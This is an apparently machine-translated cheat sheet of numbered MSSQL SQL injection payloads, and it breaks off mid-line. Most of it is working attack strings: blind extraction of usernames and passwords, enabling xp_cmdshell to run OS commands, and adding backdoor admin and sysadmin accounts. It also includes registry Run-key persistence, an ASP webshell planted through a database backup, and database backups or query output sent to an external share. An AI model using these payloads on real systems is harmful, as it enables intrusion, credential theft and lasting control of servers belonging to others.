SQL injection statement (very full)

1. The name of the connected database is returned
and db_name () >0
2, the role is to obtain the connection user name
and user>0
3. Back up the database to the Web directory
; Backup database name to disk= ' c:\inetpub\wwwroot\1.db ';--
4. Display the SQL system version
and 1= (SELECT @ @VERSION) OR and 1=convert (int,@ @version)--
5. Determine if the xp_cmdshell extended stored procedure exists
and 1= (SELECT count (*) from master.dbo.sysobjects WHERE xtype = ' X ' and name = ' xp_cmdshell ')
6. Restore xp_cmdshell Extended Storage commands
exec master.dbo.sp_addextendedproc ' xp_cmdshell ', ' E:\inetput\web\xplog70.dll ';--
7. Write the command line and execute the program to the startup group
; EXEC master.dbo.xp_regwrite ' HKEY_LOCAL_MACHINE ', ' software\microsoft\windows\currentversion\
Run ', ' help1 ', ' REG_SZ ', ' cmd.exe/c net user test Ptlove/add '
8. View the current database name
and 0 <> db_name (n) n changed to 0,1,2,3 ... You can cross the library or 1=convert (Int,db_name ())--
9, do not need xp_cmdshell support to run cmd command on SQL Server with injection vulnerability (same as 76th)
10. Back up all the data you get to the Web directory
Backup database name to disk= ' C:\inetpub\wwwroot\save.db '
11. Create Unicode vulnerability by copying CMD
; exec master.dbo.xp_cmdshell "Copy c:\winnt\system32\cmd.exe C:\inetpub\scripts\cmd.exe"
12. Traverse the directory structure of the system, analyze the results and discover the Web virtual directory
Create a temp Table first: temp, CREATE TABLE temp (ID nvarchar (255), Num1 nvarchar (255), num2 nvarchar (255), num3 nvarchar (255));--
(1) Use Xp_availablemedia to obtain all current drives and deposit into the temp table; Insert temp EXEC master.dbo.xp_availablemedia;--
Get a list of drives and related information by querying the contents of temp
(2) using Xp_subdirs to get a list of subdirectories and depositing them into the temp table; INSERT into temp (ID) EXEC master.dbo.xp_subdirs ' C: \ ';--
(3) You can also use Xp_dirtree to obtain all subdirectories of the directory tree structure, and into the temp table; INSERT into temp (ID,NUM1) EXEC master.dbo.xp_dirtree ' C: \ ';--(experimental success)
13. To view the contents of a file, you can perform Xp_cmdsell
INSERT into temp (ID) Exec master.dbo.xp_cmdshell ' type c:\web\index.asp ';--
14. Inserting a text file into a temporary table
; Bulk Insert Temp (ID) from ' c:\inetpub\wwwroot\index.asp '
15. After each browsing, delete all content from temp, and delete the method:
;d elete from temp;--
16. The method of browsing the temp table is:
and (select top 1 ID from TestDB.dbo.temp) >0 assume TestDB is the database name of the current connection
17. Guess all database names
and (select COUNT (*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 dbid=6,7,8 get a different library name
18. Guess the name of the user name table in the database
and (select COUNT (*) from testdb.dbo. Table name) >0 If the table name exists, the abc.asp works fine, otherwise it is abnormal. So loop until you guess the name of the System Account table.
19. Determine if sysadmin is a privilege
and 1= (SELECT is_srvrolemember (' sysadmin '))
20. Determine if the SA user
' sa ' = (SELECT system_user)
21. View Database Roles
; Use model--
22. View the library name
and 0<> (SELECT COUNT (*) from master.dbo.sysdatabases where name>1 and dbid=6)--
23. Get the name of the first user to create a table
and (select top 1 name from TestDB.dbo.sysobjects where xtype= ' U ' and status>0) >0 Suppose to get the database is testdb.dbo
24. Get the name of a table created by the second user
and (select top 1 name from TestDB.dbo.sysobjects where xtype= ' U ' and status>0 and name is not in (' xyz ')) >0
25. Get the name of a third user-created table
and (select top 1 name from TestDB.dbo.sysobjects where xtype= ' U ' and status>0 and name is not in (' xyz ', ')) >0 ' is the second A user name
26. Get the name of the fourth user-created table
and (select top 1 name from TestDB.dbo.sysobjects where xtype= ' U ' and status>0 and name is not in (' xyz ', ' ', ')) >0 ', "Second, three username
27. Get the number of records in the table
and (select COUNT (*) from table name) <5 The number of record bars is less than 5 or <10 the number of records is less than 10 ... Wait a minute
28. Test permission structure (MSSQL)
and 1= (SELECT is_srvrolemember (' sysadmin '));--
and 1= (SELECT is_srvrolemember (' serveradmin '));--
and 1= (SELECT is_srvrolemember (' setupadmin '));--
and 1= (SELECT is_srvrolemember (' securityadmin '));--
and 1= (SELECT is_srvrolemember (' diskadmin '));--
and 1= (SELECT is_srvrolemember (' bulkadmin '));--
and 1= (SELECT is_member (' db_owner '));--
29. Add MSSQL and SYSTEM account
; exec master.dbo.sp_addlogin username;--
; exec Master.dbo.sp_password null,username,password;--
; exec master.dbo.sp_addsrvrolemember SysAdmin username;--
; Exec master.dbo.xp_cmdshell ' net user username password/workstations:*/times:all/passwordchg:yes/passwordreq:yes/ Active:yes/add ';--
; Exec master.dbo.xp_cmdshell ' net user username Password/add ';--
; exec master.dbo.xp_cmdshell ' net localgroup Administrators Username/add ';--
30, Concise Webshell
Use model
CREATE table cmd (str image);
INSERT into cmd (str) VALUES (' <%=server.createobject ("Wscript.Shell"). EXEC ("cmd.exe/c" &request ("C")). Stdout.readall%> ');
Backup Database model to disk= ' g:\wwwtest\l.asp ';

When requested, it is used like this:
Http://ip/l.asp?c=dir
31. Guess the field name
Guess Solution: and (select count (field name) from table name) >0 if "field name" is present, return to normal
Read method: and (select top 1 col_name (object_id (' table name '), 1) from sysobjects) >0 col_name (object_id (' table name '), 1) 1 in turn 2,3,4,5,6 ... You can get all the field names.
32, guess the user name and password
ASCII code verbatim decoding method: The basic idea is to guess the length of the field first, and then guess the value of each bit
and (select top 1 len (username) from admin) =x (x=1,2,3,4,5, ... n, assuming: username is the name of the user name field, admin is the name of the table If x is a value of I and abc.asp is functioning normally, I is the length of the first user name.
and (select top 1 ASCII (substring (username,m,1)) from admin) =n (the value of m between the user name length obtained in the previous step, when m=1,2,3, ... Guesses separately,... The value of n is the ASCII value of 1~9, A~z, a~z, or any value between 1~128, and admin is the name of the System user account table.
33. Set up a data sheet
CREATE TABLE table name (column name 1 data type, column name 2 data type);--
34. Inserting data into the table
Insert into table name (column name 1, column Name 2, ...). VALUES (' value 1 ', ' Value 2 ' ...); --
35. Update record
Update table name set column Name 1 = ' value ' ... where ...
36. Delete Records
Delete from table name where ...
37. Delete database Tables
DROP table Name
38. Importing a text file into a table
Use the ' BULK INSERT ' syntax to insert a text file into a temporary table. To simply create this table:
CREATE TABLE foo (line varchar (8000))
Then perform a bulk insert operation to insert the data from the file into the table, such as:
BULK Insert Foo from ' c:\inetpub\wwwroot\process_login.asp '
39. Backup the current database command:
DECLARE @a sysname;set @a=db_name (); Backup database @a to disk= ' Your IP your shared directory bak.dat ', name= ' test ';--
40. Write the URL using the related request of the sp_makewebtask process
; EXEC Master. Sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * from INFORMATION_SCHEMA." TABLES "
41. A list of directories in the current working directory of the SQL Server process will be obtained
Exec Master. xp_cmdshell ' dir '
42. A list of all users on the server will be provided
Exec Master. xp_cmdshell ' Net user '
43. Read the registry stored procedure
EXEC xp_regread HKEY_LOCAL_MACHINE, ' system\currentcontrolset\services\lanmanserver\parameters ', ' NullSessionShares '
44, Xp_servicecontrol process allows users to start, stop, pause and continue service
EXEC master. Xp_servicecontrol ' start ', ' schedule '
EXEC master. Xp_servicecontrol ' start ', ' Server '
45. Display a useful drive on the machine
Xp_availablemedia
46. Allow access to a directory tree
Xp_dirtree
47. The process ID of the process is provided to terminate the process
Xp_terminate_process
48, restore xp_cmdshell
Exec master.dbo.addextendedproc ' xp_cmdshell ', ' Xplog70.dll '
49, plugging the Cmdshell SQL statement
Sp_dropextendedproc "xp_cmdshell"
50, do not need XP_CMDSHLL directly add the system account, the XPLOG70.DLL is deleted very effective
DECLARE @shell int exec sp_oacreate ' Wscript.Shell ', @shell output exec sp_OAMethod @shell, ' run ', NULL, ' C:\Winnt\System32 \cmd.exe/c net user Gchn Aaa/add '--
51. Add a Hax user within the database
; exec sp_addlogin hax;--
52. Set the password for Hax
; exec Master.dbo.sp_password null,username,password;--
53. Add Hax to the sysadmin group
; exec master.dbo.sp_addsrvrolemember SysAdmin hax;--
54, (1) Traverse directory
CREATE TABLE dirs (paths varchar, id int)
Insert dirs exec master.dbo.xp_dirtree ' C: \ '
; and (select top 1 paths from dirs) >0
; and (select top 1 paths from dirs where paths not in (' Step Up Paths ')) >)
55, (2) Traverse directory
CREATE table temp (ID nvarchar (255), Num1 nvarchar (255), num2 nvarchar (255), num3 nvarchar (255));--
Insert Temp exec master.dbo.xp_availablemedia;--get all current drives
INSERT into temp (ID) EXEC master.dbo.xp_subdirs ' c: N ';--Get subdirectory list
Insert into temp (ID,NUM1) EXEC master.dbo.xp_dirtree ' C: ';--Get the directory tree structure of all subdirectories
INSERT into temp (ID) Exec master.dbo.xp_cmdshell ' type c:\web\index.asp ';--View the contents of a file
56. The stored procedure in MSSQL
Xp_regenumvalues Registry root Key, sub-key
EXEC xp_regenumvalues ' HKEY_LOCAL_MACHINE ', ' SOFTWARE\Microsoft\Windows\CurrentVersion\Run ' returns all key values in multiple recordset mode
Xp_regread root Key, sub key, key value name
EXEC xp_regread ' HKEY_LOCAL_MACHINE ', ' software\microsoft\windows\currentversion ', ' CommonFilesDir ' returns the value of the key set
Xp_regwrite root key, subkey, value name, value type, value
There are 2 types of value type REG_SZ for character type, REG_DWORD for integral type
EXEC xp_regwrite ' HKEY_LOCAL_MACHINE ', ' software\microsoft\windows\currentversion ', ' testvaluename ', ' REG_SZ ', ' Hello ' writes to the registry
Xp_regdeletevalue root key, subkey, Value name
EXEC xp_regdeletevalue ' HKEY_LOCAL_MACHINE ', ' software\microsoft\windows\currentversion ', ' TestValueName ' delete a value
Xp_regdeletekey ' HKEY_LOCAL_MACHINE ', ' Software\microsoft\windows\currentversion\tes